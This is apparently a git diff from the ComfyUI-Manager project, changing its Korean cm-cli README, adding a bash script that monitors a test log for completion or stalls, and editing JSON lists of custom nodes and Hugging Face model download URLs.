||||
cli-only-mode [enable|disable]
|
||||
restore-dependencies
|
||||
clear
|
||||
```
|
||||
|
||||
## How To Use?
|
||||
* `cm-cli` 명령으로 실행할 수 있습니다.
|
||||
* `python cm-cli.py` 를 통해서 실행 시킬 수 있습니다.
|
||||
* 예를 들어 custom node를 모두 업데이트 하고 싶다면
|
||||
* `cm-cli update all` 명령을 실행할 수 있습니다.
|
||||
* ComfyUI-Manager경로 에서 `python cm-cli.py update all` 를 command를 실행할 수 있습니다.
|
||||
* ComfyUI 경로에서 실행한다면, `python custom_nodes/ComfyUI-Manager/cm-cli.py update all` 와 같이 cm-cli.py 의 경로를 지정할 수도 있습니다.
|
||||
|
||||
## Prerequisite
|
||||
* ComfyUI 를 실행하는 python과 동일한 python 환경에서 실행해야 합니다.
|
||||
* venv를 사용할 경우 해당 venv를 activate 한 상태에서 실행해야 합니다.
|
||||
* portable 버전을 사용할 경우 run_nvidia_gpu.bat 파일이 있는 경로인 경우, 다음과 같은 방식으로 명령을 실행해야 합니다.
|
||||
`.\python_embeded\python.exe -m cm_cli update all`
|
||||
* ComfyUI 의 경로는 `COMFYUI_PATH` 환경 변수로 설정해야 합니다.
|
||||
* portable 버전을 사용할 경우 run_nvidia_gpu.bat 파일이 있는 경로인 경우, 다음과 같은 방식으로 코맨드를 실행해야 합니다.
|
||||
`.\python_embeded\python.exe ComfyUI\custom_nodes\ComfyUI-Manager\cm-cli.py update all`
|
||||
* ComfyUI 의 경로는 COMFYUI_PATH 환경 변수로 설정할 수 있습니다. 만약 생략할 경우 다음과 같은 경고 메시지가 나타나며, ComfyUI-Manager가 설치된 경로를 기준으로 상대 경로로 설정됩니다.
|
||||
```
|
||||
WARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.
|
||||
```
|
||||
|
||||
## Features
|
||||
|
||||
### 1. --channel, --mode
|
||||
* 정보 보기 기능과 커스텀 노드 관리 기능의 경우는 --channel과 --mode를 통해 정보 DB를 설정할 수 있습니다.
|
||||
* 예를 들어 `cm-cli update all --channel recent --mode remote`와 같은 명령을 실행할 경우, 현재 ComfyUI-Manager repo에 내장된 로컬의 정보가 아닌 remote의 최신 정보를 기준으로 동작하며, recent channel에 있는 목록을 대상으로만 동작합니다.
|
||||
* --channel, --mode 는 `simple-show, show, install, uninstall, update, disable, enable, fix` 명령에서만 사용 가능합니다.
|
||||
* 예들 들어 `python cm-cli.py update all --channel recent --mode remote`와 같은 command를 실행할 경우, 현재 ComfyUI-Manager repo에 내장된 로컬의 정보가 아닌 remote의 최신 정보를 기준으로 동작하며, recent channel에 있는 목록을 대상으로만 동작합니다.
|
||||
* --channel, --mode 는 `simple-show, show, install, uninstall, update, disable, enable, fix` command에서만 사용 가능합니다.
|
||||
|
||||
### 2. 관리 정보 보기
|
||||
|
||||
@@ -50,7 +51,7 @@ OPTIONS:
|
||||
* `[show|simple-show]` - `show`는 상세하게 정보를 보여주며, `simple-show`는 간단하게 정보를 보여줍니다.
|
||||
|
||||
|
||||
`cm-cli show installed` 와 같은 명령을 실행하면 설치된 커스텀 노드의 정보를 상세하게 보여줍니다.
|
||||
`python cm-cli.py show installed` 와 같은 코맨드를 실행하면 설치된 커스텀 노드의 정보를 상세하게 보여줍니다.
|
||||
```
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
|
||||
@@ -66,7 +67,7 @@ FETCH DATA from: https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
|
||||
[ DISABLED ] ComfyUI-Loopchain (author: Fannovel16)
|
||||
```
|
||||
|
||||
`cm-cli simple-show installed` 와 같은 명령을 이용해서 설치된 커스텀 노드의 정보를 간단하게 보여줍니다.
|
||||
`python cm-cli.py simple-show installed` 와 같은 코맨드를 이용해서 설치된 커스텀 노드의 정보를 간단하게 보여줍니다.
|
||||
|
||||
```
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
@@ -88,16 +89,16 @@ ComfyUI-Loopchain
|
||||
* `installed`: enable, disable 여부와 상관없이 설치된 모든 노드를 보여줍니다
|
||||
* `not-installed`: 설치되지 않은 커스텀 노드의 목록을 보여줍니다.
|
||||
* `all`: 모든 커스텀 노드의 목록을 보여줍니다.
|
||||
* `snapshot`: 현재 설치된 커스텀 노드의 snapshot 정보를 보여줍니다. `show`를 통해서 볼 경우는 json 출력 형태로 보여주며, `simple-show`를 통해서 볼 경우는 간단하게, 커밋 해시와 함께 보여줍니다.
|
||||
* `snapshot`: 현재 설치된 커스텀 노드의 snapshot 정보를 보여줍니다. `show`롤 통해서 볼 경우는 json 출력 형태로 보여주며, `simple-show`를 통해서 볼 경우는 간단하게, 커밋 해시와 함께 보여줍니다.
|
||||
* `snapshot-list`: ComfyUI-Manager/snapshots 에 저장된 snapshot 파일의 목록을 보여줍니다.
|
||||
|
||||
### 3. 커스텀 노드 관리 하기
|
||||
|
||||
`[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
|
||||
|
||||
* `cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments` 와 같이 커스텀 노드의 이름을 나열해서 관리 기능을 적용할 수 있습니다.
|
||||
* `python cm-cli.py install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments` 와 같이 커스텀 노드의 이름을 나열해서 관리 기능을 적용할 수 있습니다.
|
||||
* 커스텀 노드의 이름은 `show`를 했을 때 보여주는 이름이며, git repository의 이름입니다.
|
||||
(추후 nickname을 사용 가능하도록 업데이트할 예정입니다.)
|
||||
(추후 nickname 을 사용가능하돌고 업데이트 할 예정입니다.)
|
||||
|
||||
`[update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
|
||||
|
||||
@@ -112,63 +113,38 @@ ComfyUI-Loopchain
|
||||
* `enable`: 지정된 커스텀 노드들을 활성화합니다.
|
||||
* `fix`: 지정된 커스텀 노드의 의존성을 고치기 위한 시도를 합니다.
|
||||
|
||||
#### `--uv-compile` 플래그 (`install`, `reinstall`, `update`, `fix`)
|
||||
|
||||
`--uv-compile` 플래그를 사용하면 노드별 pip 설치를 건너뛰고, 모든 작업이 완료된 후 `uv pip compile`로 전체 의존성을 한 번에 일괄 해결합니다.
|
||||
|
||||
* `uv`가 설치된 환경에서만 동작합니다.
|
||||
* 여러 노드 팩 간의 의존성 충돌을 방지합니다.
|
||||
* 해결 실패 시 충돌 패키지와 해당 패키지를 요청한 노드 팩 목록을 표시합니다.
|
||||
* `reinstall --uv-compile`은 `--no-deps`와 동시에 사용할 수 없습니다.
|
||||
|
||||
```bash
|
||||
cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack --uv-compile
|
||||
cm-cli update all --uv-compile
|
||||
cm-cli fix ComfyUI-Impact-Pack --uv-compile
|
||||
```
|
||||
|
||||
|
||||
### 4. 스냅샷 관리 기능
|
||||
* `cm-cli save-snapshot ?[--output <snapshot .json/.yaml>]`: 현재의 snapshot을 저장합니다.
|
||||
* `python cm-cli.py save-snapshot ?[--output <snapshot .json/.yaml>]`: 현재의 snapshot을 저장합니다.
|
||||
* --output 으로 임의의 경로에 .yaml 파일과 format으로 저장할 수 있습니다.
|
||||
* `cm-cli restore-snapshot <snapshot .json/.yaml>`: 지정된 snapshot으로 복구합니다.
|
||||
* `python cm-cli.py restore-snapshot <snapshot .json/.yaml>`: 지정된 snapshot으로 복구합니다.
|
||||
* snapshot 경로에 파일이 존재하는 경우 해당 snapshot을 로드합니다.
|
||||
* snapshot 경로에 파일이 존재하지 않는 경우 묵시적으로, ComfyUI-Manager/snapshots 에 있다고 가정합니다.
|
||||
* `--pip-non-url`: PyPI 에 등록된 pip 패키지들에 대해서 복구를 수행
|
||||
* `--pip-non-local-url`: web URL에 등록된 pip 패키지들에 대해서 복구를 수행
|
||||
* `--pip-local-url`: local 경로를 지정하고 있는 pip 패키지들에 대해서 복구를 수행
|
||||
* `--user-directory`: 사용자 디렉토리 설정
|
||||
* `--restore-to`: 복구될 커스텀 노드가 설치될 경로. (이 옵션을 적용할 경우 오직 대상 경로에 설치된 custom nodes만 설치된 것으로 인식함.)
|
||||
* `--restore-to`: 복구될 커스텀 노드가 설치될 경로. (이 옵션을 적용할 경우 오직 대상 경로에 설치된 custom nodes 만 설치된 것으로 인식함.)
|
||||
|
||||
### 5. 의존성 설치
|
||||
### 5. CLI only mode
|
||||
|
||||
`restore-dependencies ?[--uv-compile]`
|
||||
ComfyUI-Manager를 CLI로만 사용할 것인지를 설정할 수 있습니다.
|
||||
|
||||
`cli-only-mode [enable|disable]`
|
||||
|
||||
* security 혹은 policy 의 이유로 GUI 를 통한 ComfyUI-Manager 사용을 제한하고 싶은 경우 이 모드를 사용할 수 있습니다.
|
||||
* CLI only mode를 적용할 경우 ComfyUI-Manager 가 매우 제한된 상태로 로드되어, 내부적으로 제공하는 web API가 비활성화 되며, 메인 메뉴에서도 Manager 버튼이 표시되지 않습니다.
|
||||
|
||||
|
||||
### 6. 의존성 설치
|
||||
|
||||
`restore-dependencies`
|
||||
|
||||
* `ComfyUI/custom_nodes` 하위 경로에 커스텀 노드들이 설치되어 있긴 하지만, 의존성이 설치되지 않은 경우 사용할 수 있습니다.
|
||||
* Colab과 같이 cloud instance를 새로 시작하는 경우 의존성 재설치 및 설치 스크립트가 재실행되어야 하는 경우 사용합니다.
|
||||
* ComfyUI를 재설치할 경우, custom_nodes 경로만 백업했다가 재설치할 경우 활용 가능합니다.
|
||||
* `--uv-compile` 플래그를 사용하면 노드별 pip 설치를 건너뛰고 일괄 해결합니다.
|
||||
* colab 과 같이 cloud instance를 새로 시작하는 경우 의존성 재설치 및 설치 스크립트가 재실행 되어야 하는 경우 사용합니다.
|
||||
* ComfyUI을 재설치할 경우, custom_nodes 경로만 백업했다가 재설치 할 경우 활용 가능합니다.
|
||||
|
||||
### 6. 의존성 파일로 설치
|
||||
|
||||
`install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]`
|
||||
### 7. clear
|
||||
|
||||
* 의존성 spec 파일(`.json`) 또는 워크플로우 파일(`.png`/`.json`)에 명시된 커스텀 노드를 설치합니다.
|
||||
* `--uv-compile` 플래그를 사용하면 모든 노드 설치 후 일괄 의존성 해결을 수행합니다.
|
||||
|
||||
### 7. uv-compile
|
||||
|
||||
`uv-compile ?[--user-directory <path>]`
|
||||
|
||||
* 설치된 모든 커스텀 노드 팩의 의존성을 `uv pip compile`로 일괄 해결하고 설치합니다.
|
||||
* ComfyUI를 재시작하지 않고 의존성 환경을 복구하거나 초기 설정 시 활용할 수 있습니다.
|
||||
* `uv`가 설치된 환경에서만 동작합니다.
|
||||
|
||||
```bash
|
||||
cm-cli uv-compile
|
||||
cm-cli uv-compile --user-directory /path/to/comfyui
|
||||
```
|
||||
|
||||
### 8. clear
|
||||
|
||||
GUI에서 install, update를 하거나 snapshot을 restore하는 경우 예약을 통해서 다음번 ComfyUI를 실행할 경우 실행되는 구조입니다. `clear` 는 이런 예약 상태를 clear해서, 아무런 사전 실행이 적용되지 않도록 합니다.
|
||||
GUI에서 install, update를 하거나 snapshot 을 restore하는 경우 예약을 통해서 다음번 ComfyUI를 실행할 경우 실행되는 구조입니다. `clear` 는 이런 예약 상태를 clear해서, 아무런 사전 실행이 적용되지 않도록 합니다.
|
||||
Executable
+137
@@ -0,0 +1,137 @@
|
||||
#!/bin/bash
|
||||
# ============================================================================
|
||||
# Test Monitoring Script
|
||||
# ============================================================================
|
||||
# Monitors background test execution and reports status/failures
|
||||
# Usage: ./monitor_test.sh <log_file> <timeout_seconds>
|
||||
# ============================================================================
|
||||
|
||||
set -e
|
||||
|
||||
LOG_FILE="${1:-/tmp/test-param-fix.log}"
|
||||
TIMEOUT="${2:-600}" # Default 10 minutes
|
||||
CHECK_INTERVAL=10 # Check every 10 seconds
|
||||
STALL_THRESHOLD=60 # Consider stalled if no new output for 60 seconds
|
||||
|
||||
# Colors
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m'
|
||||
|
||||
echo -e "${BLUE}========================================${NC}"
|
||||
echo -e "${BLUE}Test Monitor Started${NC}"
|
||||
echo -e "${BLUE}========================================${NC}"
|
||||
echo -e "${BLUE}Log File: ${LOG_FILE}${NC}"
|
||||
echo -e "${BLUE}Timeout: ${TIMEOUT}s${NC}"
|
||||
echo -e "${BLUE}Stall Threshold: ${STALL_THRESHOLD}s${NC}"
|
||||
echo ""
|
||||
|
||||
START_TIME=$(date +%s)
|
||||
LAST_SIZE=0
|
||||
LAST_CHANGE_TIME=$START_TIME
|
||||
STATUS="running"
|
||||
|
||||
while true; do
|
||||
CURRENT_TIME=$(date +%s)
|
||||
ELAPSED=$((CURRENT_TIME - START_TIME))
|
||||
|
||||
# Check if log file exists
|
||||
if [ ! -f "$LOG_FILE" ]; then
|
||||
echo -e "${YELLOW}[$(date '+%H:%M:%S')] Waiting for log file...${NC}"
|
||||
sleep $CHECK_INTERVAL
|
||||
continue
|
||||
fi
|
||||
|
||||
# Check file size
|
||||
CURRENT_SIZE=$(wc -c < "$LOG_FILE" 2>/dev/null || echo "0")
|
||||
TIME_SINCE_CHANGE=$((CURRENT_TIME - LAST_CHANGE_TIME))
|
||||
|
||||
# Check if file size changed (progress)
|
||||
if [ "$CURRENT_SIZE" -gt "$LAST_SIZE" ]; then
|
||||
LAST_SIZE=$CURRENT_SIZE
|
||||
LAST_CHANGE_TIME=$CURRENT_TIME
|
||||
|
||||
# Show latest lines
|
||||
echo -e "${GREEN}[$(date '+%H:%M:%S')] Progress detected (${CURRENT_SIZE} bytes, +${ELAPSED}s)${NC}"
|
||||
tail -3 "$LOG_FILE" | sed 's/\x1b\[[0-9;]*m//g' # Remove color codes
|
||||
echo ""
|
||||
else
|
||||
# No progress
|
||||
echo -e "${YELLOW}[$(date '+%H:%M:%S')] No change (stalled ${TIME_SINCE_CHANGE}s)${NC}"
|
||||
fi
|
||||
|
||||
# Check for completion markers
|
||||
if grep -q "✅ ComfyUI_.*: PASSED" "$LOG_FILE" 2>/dev/null || \
|
||||
grep -q "❌ ComfyUI_.*: FAILED" "$LOG_FILE" 2>/dev/null || \
|
||||
grep -q "Test Suite Complete" "$LOG_FILE" 2>/dev/null; then
|
||||
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN}Tests Completed!${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
|
||||
# Show summary
|
||||
grep -E "passed|failed|PASSED|FAILED" "$LOG_FILE" | tail -20
|
||||
|
||||
# Check if tests passed
|
||||
if grep -q "❌.*FAILED" "$LOG_FILE" 2>/dev/null; then
|
||||
echo -e "${RED}❌ Some tests FAILED${NC}"
|
||||
STATUS="failed"
|
||||
else
|
||||
echo -e "${GREEN}✅ All tests PASSED${NC}"
|
||||
STATUS="success"
|
||||
fi
|
||||
|
||||
break
|
||||
fi
|
||||
|
||||
# Check for errors
|
||||
if grep -qi "error\|exception\|traceback" "$LOG_FILE" 2>/dev/null; then
|
||||
LAST_ERROR=$(grep -i "error\|exception" "$LOG_FILE" | tail -1)
|
||||
echo -e "${RED}[$(date '+%H:%M:%S')] Error detected: ${LAST_ERROR}${NC}"
|
||||
fi
|
||||
|
||||
# Check for stall (no progress for STALL_THRESHOLD seconds)
|
||||
if [ "$TIME_SINCE_CHANGE" -gt "$STALL_THRESHOLD" ]; then
|
||||
echo -e "${RED}========================================${NC}"
|
||||
echo -e "${RED}⚠️ Test Execution STALLED${NC}"
|
||||
echo -e "${RED}========================================${NC}"
|
||||
echo -e "${RED}No progress for ${TIME_SINCE_CHANGE} seconds${NC}"
|
||||
echo -e "${RED}Last output:${NC}"
|
||||
tail -10 "$LOG_FILE" | sed 's/\x1b\[[0-9;]*m//g'
|
||||
|
||||
STATUS="stalled"
|
||||
break
|
||||
fi
|
||||
|
||||
# Check for timeout
|
||||
if [ "$ELAPSED" -gt "$TIMEOUT" ]; then
|
||||
echo -e "${RED}========================================${NC}"
|
||||
echo -e "${RED}⏰ Test Execution TIMEOUT${NC}"
|
||||
echo -e "${RED}========================================${NC}"
|
||||
echo -e "${RED}Exceeded ${TIMEOUT}s timeout${NC}"
|
||||
|
||||
STATUS="timeout"
|
||||
break
|
||||
fi
|
||||
|
||||
# Wait before next check
|
||||
sleep $CHECK_INTERVAL
|
||||
done
|
||||
|
||||
# Final status
|
||||
echo ""
|
||||
echo -e "${BLUE}========================================${NC}"
|
||||
echo -e "${BLUE}Final Status: ${STATUS}${NC}"
|
||||
echo -e "${BLUE}Total Time: ${ELAPSED}s${NC}"
|
||||
echo -e "${BLUE}========================================${NC}"
|
||||
|
||||
# Exit with appropriate code
|
||||
case "$STATUS" in
|
||||
"success") exit 0 ;;
|
||||
"failed") exit 1 ;;
|
||||
"stalled") exit 2 ;;
|
||||
"timeout") exit 3 ;;
|
||||
*) exit 99 ;;
|
||||
esac
|
||||
+704
-2830
File diff suppressed because it is too large
Load Diff
+1153
-3744
File diff suppressed because it is too large
Load Diff
+1312
-2257
File diff suppressed because it is too large
Load Diff
@@ -1,15 +1,5 @@
|
||||
{
|
||||
"custom_nodes": [
|
||||
{
|
||||
"author": "synchronicity-labs",
|
||||
"title": "ComfyUI Sync Lipsync Node",
|
||||
"reference": "https://github.com/synchronicity-labs/sync-comfyui",
|
||||
"files": [
|
||||
"https://github.com/synchronicity-labs/sync-comfyui"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "This custom node allows you to perform audio-video lip synchronization inside ComfyUI using a simple interface."
|
||||
},
|
||||
{
|
||||
"author": "joaomede",
|
||||
"title": "ComfyUI-Unload-Model-Fork",
|
||||
@@ -169,16 +159,6 @@
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A fork of KJNodes for ComfyUI.\nVarious quality of life -nodes for ComfyUI, mostly just visual stuff to improve usability"
|
||||
},
|
||||
{
|
||||
"author": "huixingyun",
|
||||
"title": "ComfyUI-SoundFlow",
|
||||
"reference": "https://github.com/huixingyun/ComfyUI-SoundFlow",
|
||||
"files": [
|
||||
"https://github.com/huixingyun/ComfyUI-SoundFlow"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "forked from https://github.com/fredconex/ComfyUI-SoundFlow (removed)"
|
||||
}
|
||||
]
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
+548
-508
File diff suppressed because it is too large
Load Diff
+1123
-10984
File diff suppressed because it is too large
Load Diff
+103
-101
@@ -1,106 +1,5 @@
|
||||
{
|
||||
"models": [
|
||||
|
||||
{
|
||||
"name": "Comfy-Org/Wan2.2 i2v high noise 14B (fp16)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Wan2.2",
|
||||
"save_path": "diffusion_models/Wan2.2",
|
||||
"description": "Wan2.2 diffusion model for i2v high noise 14B (fp16)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
|
||||
"filename": "wan2.2_i2v_high_noise_14B_fp16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_i2v_high_noise_14B_fp16.safetensors",
|
||||
"size": "28.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Comfy-Org/Wan2.2 i2v high noise 14B (fp8_scaled)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Wan2.2",
|
||||
"save_path": "diffusion_models/Wan2.2",
|
||||
"description": "Wan2.2 diffusion model for i2v high noise 14B (fp8_scaled)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
|
||||
"filename": "wan2.2_i2v_high_noise_14B_fp8_scaled.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_i2v_high_noise_14B_fp8_scaled.safetensors",
|
||||
"size": "14.3GB"
|
||||
},
|
||||
{
|
||||
"name": "Comfy-Org/Wan2.2 i2v low noise 14B (fp16)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Wan2.2",
|
||||
"save_path": "diffusion_models/Wan2.2",
|
||||
"description": "Wan2.2 diffusion model for i2v low noise 14B (fp16)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
|
||||
"filename": "wan2.2_i2v_low_noise_14B_fp16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_i2v_low_noise_14B_fp16.safetensors",
|
||||
"size": "28.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Comfy-Org/Wan2.2 i2v low noise 14B (fp8_scaled)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Wan2.2",
|
||||
"save_path": "diffusion_models/Wan2.2",
|
||||
"description": "Wan2.2 diffusion model for i2v low noise 14B (fp8_scaled)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
|
||||
"filename": "wan2.2_i2v_low_noise_14B_fp8_scaled.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_i2v_low_noise_14B_fp8_scaled.safetensors",
|
||||
"size": "14.3GB"
|
||||
},
|
||||
{
|
||||
"name": "Comfy-Org/Wan2.2 t2v high noise 14B (fp16)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Wan2.2",
|
||||
"save_path": "diffusion_models/Wan2.2",
|
||||
"description": "Wan2.2 diffusion model for t2v high noise 14B (fp16)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
|
||||
"filename": "wan2.2_t2v_high_noise_14B_fp16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_t2v_high_noise_14B_fp16.safetensors",
|
||||
"size": "28.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Comfy-Org/Wan2.2 t2v high noise 14B (fp8_scaled)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Wan2.2",
|
||||
"save_path": "diffusion_models/Wan2.2",
|
||||
"description": "Wan2.2 diffusion model for t2v high noise 14B (fp8_scaled)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
|
||||
"filename": "wan2.2_t2v_high_noise_14B_fp8_scaled.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_t2v_high_noise_14B_fp8_scaled.safetensors",
|
||||
"size": "14.3GB"
|
||||
},
|
||||
{
|
||||
"name": "Comfy-Org/Wan2.2 t2v low noise 14B (fp16)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Wan2.2",
|
||||
"save_path": "diffusion_models/Wan2.2",
|
||||
"description": "Wan2.2 diffusion model for t2v low noise 14B (fp16)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
|
||||
"filename": "wan2.2_t2v_low_noise_14B_fp16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_t2v_low_noise_14B_fp16.safetensors",
|
||||
"size": "28.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Comfy-Org/Wan2.2 t2v low noise 14B (fp8_scaled)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Wan2.2",
|
||||
"save_path": "diffusion_models/Wan2.2",
|
||||
"description": "Wan2.2 diffusion model for t2v low noise 14B (fp8_scaled)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
|
||||
"filename": "wan2.2_t2v_low_noise_14B_fp8_scaled.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_t2v_low_noise_14B_fp8_scaled.safetensors",
|
||||
"size": "14.3GB"
|
||||
},
|
||||
{
|
||||
"name": "Comfy-Org/Wan2.2 ti2v 5B (fp16)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Wan2.2",
|
||||
"save_path": "diffusion_models/Wan2.2",
|
||||
"description": "Wan2.2 diffusion model for ti2v 5B (fp16)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
|
||||
"filename": "wan2.2_ti2v_5B_fp16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_ti2v_5B_fp16.safetensors",
|
||||
"size": "10.0GB"
|
||||
},
|
||||
|
||||
{
|
||||
"name": "sam2.1_hiera_tiny.pt",
|
||||
"type": "sam2.1",
|
||||
@@ -687,6 +586,109 @@
|
||||
"filename": "llava_llama3_fp16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/HunyuanVideo_repackaged/resolve/main/split_files/text_encoders/llava_llama3_fp16.safetensors",
|
||||
"size": "16.1GB"
|
||||
},
|
||||
|
||||
{
|
||||
"name": "PixArt-Sigma-XL-2-512-MS.safetensors (diffusion)",
|
||||
"type": "diffusion_model",
|
||||
"base": "pixart-sigma",
|
||||
"save_path": "diffusion_models/PixArt-Sigma",
|
||||
"description": "PixArt-Sigma Diffusion model",
|
||||
"reference": "https://huggingface.co/PixArt-alpha/PixArt-Sigma-XL-2-512-MS",
|
||||
"filename": "PixArt-Sigma-XL-2-512-MS.safetensors",
|
||||
"url": "https://huggingface.co/PixArt-alpha/PixArt-Sigma-XL-2-512-MS/resolve/main/transformer/diffusion_pytorch_model.safetensors",
|
||||
"size": "2.44GB"
|
||||
},
|
||||
{
|
||||
"name": "PixArt-Sigma-XL-2-1024-MS.safetensors (diffusion)",
|
||||
"type": "diffusion_model",
|
||||
"base": "pixart-sigma",
|
||||
"save_path": "diffusion_models/PixArt-Sigma",
|
||||
"description": "PixArt-Sigma Diffusion model",
|
||||
"reference": "https://huggingface.co/PixArt-alpha/PixArt-Sigma-XL-2-1024-MS",
|
||||
"filename": "PixArt-Sigma-XL-2-1024-MS.safetensors",
|
||||
"url": "https://huggingface.co/PixArt-alpha/PixArt-Sigma-XL-2-1024-MS/resolve/main/transformer/diffusion_pytorch_model.safetensors",
|
||||
"size": "2.44GB"
|
||||
},
|
||||
{
|
||||
"name": "PixArt-XL-2-1024-MS.safetensors (diffusion)",
|
||||
"type": "diffusion_model",
|
||||
"base": "pixart-alpha",
|
||||
"save_path": "diffusion_models/PixArt-Alpha",
|
||||
"description": "PixArt-Alpha Diffusion model",
|
||||
"reference": "https://huggingface.co/PixArt-alpha/PixArt-XL-2-1024-MS",
|
||||
"filename": "PixArt-XL-2-1024-MS.safetensors",
|
||||
"url": "https://huggingface.co/PixArt-alpha/PixArt-XL-2-1024-MS/resolve/main/transformer/diffusion_pytorch_model.safetensors",
|
||||
"size": "2.45GB"
|
||||
},
|
||||
|
||||
{
|
||||
"name": "Comfy-Org/hunyuan_video_t2v_720p_bf16.safetensors",
|
||||
"type": "diffusion_model",
|
||||
"base": "Hunyuan Video",
|
||||
"save_path": "diffusion_models/hunyuan_video",
|
||||
"description": "Huyuan Video diffusion model. repackaged version.",
|
||||
"reference": "https://huggingface.co/Comfy-Org/HunyuanVideo_repackaged",
|
||||
"filename": "hunyuan_video_t2v_720p_bf16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/HunyuanVideo_repackaged/resolve/main/split_files/diffusion_models/hunyuan_video_t2v_720p_bf16.safetensors",
|
||||
"size": "25.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Comfy-Org/hunyuan_video_vae_bf16.safetensors",
|
||||
"type": "VAE",
|
||||
"base": "Hunyuan Video",
|
||||
"save_path": "VAE",
|
||||
"description": "Huyuan Video VAE model. repackaged version.",
|
||||
"reference": "https://huggingface.co/Comfy-Org/HunyuanVideo_repackaged",
|
||||
"filename": "hunyuan_video_vae_bf16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/HunyuanVideo_repackaged/resolve/main/split_files/vae/hunyuan_video_vae_bf16.safetensors",
|
||||
"size": "493MB"
|
||||
},
|
||||
|
||||
{
|
||||
"name": "LTX-Video 2B v0.9.1 Checkpoint",
|
||||
"type": "checkpoint",
|
||||
"base": "LTX-Video",
|
||||
"save_path": "checkpoints/LTXV",
|
||||
"description": "LTX-Video is the first DiT-based video generation model capable of generating high-quality videos in real-time. It produces 24 FPS videos at a 768x512 resolution faster than they can be watched. Trained on a large-scale dataset of diverse videos, the model generates high-resolution videos with realistic and varied content.",
|
||||
"reference": "https://huggingface.co/Lightricks/LTX-Video",
|
||||
"filename": "ltx-video-2b-v0.9.1.safetensors",
|
||||
"url": "https://huggingface.co/Lightricks/LTX-Video/resolve/main/ltx-video-2b-v0.9.1.safetensors",
|
||||
"size": "5.72GB"
|
||||
},
|
||||
|
||||
{
|
||||
"name": "XLabs-AI/flux-canny-controlnet-v3.safetensors",
|
||||
"type": "controlnet",
|
||||
"base": "FLUX.1",
|
||||
"save_path": "xlabs/controlnets",
|
||||
"description": "ControlNet checkpoints for FLUX.1-dev model by Black Forest Labs.",
|
||||
"reference": "https://huggingface.co/XLabs-AI/flux-controlnet-collections",
|
||||
"filename": "flux-canny-controlnet-v3.safetensors",
|
||||
